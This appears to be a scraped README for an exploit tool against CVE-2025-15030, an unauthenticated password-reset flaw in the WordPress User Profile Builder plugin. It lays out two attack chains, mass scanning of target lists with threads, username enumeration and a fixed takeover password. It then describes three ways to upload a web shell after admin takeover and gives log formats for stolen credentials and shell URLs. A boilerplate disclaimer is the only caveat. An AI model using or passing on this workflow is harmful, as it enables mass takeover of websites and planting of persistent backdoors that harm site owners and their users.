CVE-2025-15030

User Profile Builder < 3.15.2 - Unauthenticated Arbitrary Password Reset

CVE-2025-15030

User Profile Builder — Unauthenticated Password Reset → Admin Takeover + Shell Upload

 ____  _     _____      ____  ____  ____  ____        _  ____  ____ _____  ____
/   _\/ \ |\/  __/     /_   \/  _ \/_   \/ ___\      / \/ ___\/  _ \\__  \/  _ \
|  /  | | //|  \ _____  /   /| / \| /   /|    \_____ | ||    \| / \|  /  || / \|
|  \__| \// |  /_\____\/   /_| \_/|/   /_\___ |\____\| |\___ || \_/| _\  || \_/|
\____/\__/  \____\     \____/\____/\____/\____/      \_/\____/\____//____/\____/

❶ Vulnerability

Root Cause:
The Profile Builder plugin's password recovery flow (action2=recover_password2) does not properly validate the reset key or enforce token expiry. By submitting a crafted POST with a valid password_recovery_nonce_field2 extracted from the reset page, an unauthenticated attacker can set a new password for any WordPress user — including administrators — knowing only their username. No email interaction or valid reset token is required.

❷ What the Tool Does

This tool implements two independent attack chains against each target, both followed by optional shell deployment:

┌────────────────────────────────────────────────────────────────────┐
│  CHAIN 1 · CORE  (wp-login native reset abuse)                    │
│                                                                    │
│  POST /wp-login.php?action=lostpassword  (trigger reset)          │
│  GET  /wp-login.php?action=rp&key=...    (follow reset link)      │
│  POST /wp-login.php?action=resetpass     (inject new password)    │
│  Enumerate usernames  →  brute strict login  →  verify /wp-admin/ │
├────────────────────────────────────────────────────────────────────┤
│  CHAIN 2 · PB  (Profile Builder reset-from-link)                  │
│                                                                    │
│  Load reset URLs from pb_reset_links.txt                          │
│  GET  <reset_url>  →  extract nonce + userData                    │
│  POST action2=recover_password2  →  set new password              │
│  Strict login  →  verify /wp-admin/ access                        │
├───────────────────────────────────────────────────────────��────────┤
│  SHELL UPLOAD  (runs after any confirmed admin hit)               │
│                                                                    │
│  Method 1  →  plugin-install.php upload  (Nxploited.zip)          │
│  Method 2  →  REST API  /wp-json/wp/v2/plugins                    │
│  Method 3  →  Plugin/Theme editor  (write Nx.php directly)        │
│  Verify    →  GET /wp-content/plugins/Nxploited/Nx.php            │
│  Log       →  scan_results/shells.txt                             │
└────────────────────────────────────────────────────────────────────┘

❸ Setup

git clone https://github.com/Nxploited/CVE-2025-15030.git
cd CVE-2025-15030
pip install -r requirements.txt

requirements.txt

requests>=2.28.0
urllib3>=1.26.0
colorama>=0.4.6
rich>=13.0.0

Place Nxploited.zip in the same directory as the script to enable shell upload. The tool runs without it but shell deployment will be skipped.

❹ Usage

python3 CVE-2025-15030.py

Prompts

Targets list file (one URL per line):            list.txt
Threads (concurrent sites) [5]:                  5
HTTP timeout (seconds) [10]:                     10
Output file for core wp-login reset successes:   scan_results/wp_login_reset_success.txt
Output file for Nxploited shells:                scan_results/shells.txt
Profile Builder reset links file (optional):     pb_reset_links.txt

Password used for all reset and login attempts is fixed internally:
Nxploited_adminSA

❺ Input Files

`list.txt` — Targets (required)

https://target1.com
target2.com
http://target3.com/wordpress

`pb_reset_links.txt` — Profile Builder Reset Links (optional)

If you have captured password reset email links from Profile Builder, paste them here one per line. The tool will:

Load the reset page and extract password_recovery_nonce_field2 + userData
Submit the new password via action2=recover_password2
Attempt strict admin login with the new credentials

https://target1.com/wp-login.php?action=rp&key=ABC123&login=admin
https://target2.com/?page_id=5&action=recover_password&key=XYZ&login=editor

❻ Username Enumeration

The tool automatically discovers WordPress usernames using three methods before attempting login:

Method	Endpoint
Author redirect	`/?author=1` →

❼ Admin Verification

Every login attempt is strictly verified before writing results. The tool checks:

/wp-admin/index.php       →  id="adminmenu", id="wpadminbar"
/wp-admin/users.php       →  users.php indicator
/wp-admin/plugins.php     →  plugins.php indicator
/wp-admin/plugin-install.php  →  upload-plugin, plugin-install-tab

A result is only written to disk when ≥ 3 admin markers are confirmed.

❽ Shell Upload Methods

After a confirmed admin session the tool attempts three escalation methods in order:

Shell verification: GET /wp-content/plugins/Nxploited/Nx.php → HTTP 200

❾ Output Files

File	Contents
`scan_results/wp_login_reset_success.txt`	Confirmed admin hits via CORE chain
`scan_results/shells.txt`	Deployed shell URLs with credentials

Format

wp_login_reset_success.txt

[2025-06-01T14:22:10] https://target.com | https://target.com/wp-login.php | account=admin  pass=Nxploited_adminSA

shells.txt

[2025-06-01 14:22:18] https://target.com - admin:Nxploited_adminSA - SHELL: https://target.com/wp-content/plugins/Nxploited/Nx.php

❿ Terminal Output Format

[host]  https://target.com
CORE: KEY=OK  , RESET=OK  , ACCESS=1   |
PB:   KEY=FAIL, RESET=FAIL, ACCESS=0   |
SHELL: OK       | LOGIN: https://target.com/wp-login.php

⓫ Author

Nxploited (Khaled Alenazi)
GitHub   →  https://github.com/Nxploited
Telegram →  @KNxploited

⓬ Disclaimer

FOR AUTHORIZED SECURITY RESEARCH AND EDUCATION ONLY.

The author bears zero responsibility for any use of this tool
against systems the operator does not own or have explicit
written permission to test.

Unauthorized use violates the CFAA, CMA, and equivalent laws
worldwide and may result in criminal prosecution.

You alone are responsible for your actions.

CVE	CVE-2025-15030
CVSS	9.8 CRITICAL — `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H`
ADP	CISA-ADP
Plugin	User Profile Builder for WordPress
Affected	All versions before 3.15.2
Auth	None required
Type	Improper Password Reset — Unauthenticated Account Takeover
CWE	CWE-640 · Weak Password Recovery Mechanism

Plugin Upload	`/wp-admin/update.php?action=upload-plugin`	Uploads `Nxploited.zip` via install form
REST API	`/wp-json/wp/v2/plugins`	Direct ZIP POST
Editor Write	`/wp-admin/plugin-editor.php`	Writes `Nx.php` via file editor

`KEY`	Reset flow initiated successfully
`RESET`	New password accepted by server
`ACCESS`	Number of confirmed admin logins
`SHELL`	`OK` if `Nx.php` is confirmed live

CVE-2025-15030

Most Popular

CVE-2025-15030

CVE-2025-15030

User Profile Builder — Unauthenticated Password Reset → Admin Takeover + Shell Upload

❶ Vulnerability

❷ What the Tool Does

❸ Setup

❹ Usage

Prompts

❺ Input Files

list.txt — Targets (required)

pb_reset_links.txt — Profile Builder Reset Links (optional)

❻ Username Enumeration

❼ Admin Verification

❽ Shell Upload Methods

❾ Output Files

Format

❿ Terminal Output Format

⓫ Author

⓬ Disclaimer

`list.txt` — Targets (required)

`pb_reset_links.txt` — Profile Builder Reset Links (optional)